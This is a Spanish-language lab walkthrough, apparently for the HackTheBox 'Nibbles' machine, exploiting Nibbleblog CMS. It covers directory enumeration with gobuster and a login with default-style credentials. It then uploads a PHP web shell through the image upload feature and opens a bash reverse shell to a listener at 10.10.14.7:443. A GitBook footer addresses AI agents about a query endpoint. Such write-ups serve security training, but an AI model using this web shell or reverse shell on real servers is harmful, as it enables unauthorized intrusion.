> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/cms/nibbles-blog-cms-exploitation.md).

# Blog de Nibbles

### Blog de Nibbles - CMS

<figure><img src="/files/b98cf4ad3d93f63d516208474bcd5115ab61eccf" alt=""><figcaption></figcaption></figure>

El sitio parece ser un CMS de Nibbleblog. Use `gobuster` para buscar directorios adicionales:

```bash
gobuster dir -u http://10.10.10.75/nibbleblog/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

<figure><img src="/files/6eb545df5233bed2f69047c78ff9cd3f35ab815b" alt=""><figcaption></figcaption></figure>

#### Búsqueda de archivos PHP:

La enumeración de archivos PHP revela `admin.php`, que parece ser un panel de administración.

<figure><img src="/files/c8a97cf5953d87756fc1e739f0ac414cb489dbf4" alt=""><figcaption></figcaption></figure>

#### Intento de inicio de sesión con credenciales

Intente iniciar sesión con las siguientes credenciales:

* **Usuario** : admin
* **Contraseña** : nibbles

<figure><img src="/files/aaa6638d739ac89313d4f2a4ca26aa1e1a3ca168" alt=""><figcaption></figcaption></figure>

Esto funciona y proporciona acceso a la interfaz de administración.

<figure><img src="/files/fa54be9d363a6128eae8e567f39a4bc4e326d862" alt=""><figcaption></figcaption></figure>

## Vulnerabilidad de carga de archivos de Nibbleblog

Se descubre una función de carga de imágenes:

<figure><img src="/files/fe2cb783bff50028fe47c113d7455c19b877d8e3" alt=""><figcaption></figcaption></figure>

Crea un `cmd.php` archivo con el siguiente código para habilitar la ejecución de comandos:

```bash
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
```

El archivo se carga en `contenido`, donde un `privada` subcarpeta contiene complementos.

<figure><img src="/files/5e1cbdd61bbb6fbd2363ae977f28d4b44a3c13f2" alt=""><figcaption></figcaption></figure>

#### Ejecución de comandos mediante carga de archivos

El `cmd` el parámetro permite la ejecución de comandos. Por ejemplo, use la siguiente URL para obtener información de identidad del sistema:

<pre class="language-bash"><code class="lang-bash"><strong>/image.php?cmd=id
</strong></code></pre>

<figure><img src="/files/7255524842d234657fd53d75d0547880cf96e511" alt=""><figcaption></figcaption></figure>

Obtenga acceso al servidor mediante una shell inversa. Inicie un oyente en el puerto 443:

```bash
nc -nlvp 443
```

Luego ejecute la shell inversa en el objetivo:

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.7/443 0>%261"
```

<figure><img src="/files/fd0b5c94ae1c402e7f2a61808cfa3f4b366fc5bc" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/cms/nibbles-blog-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
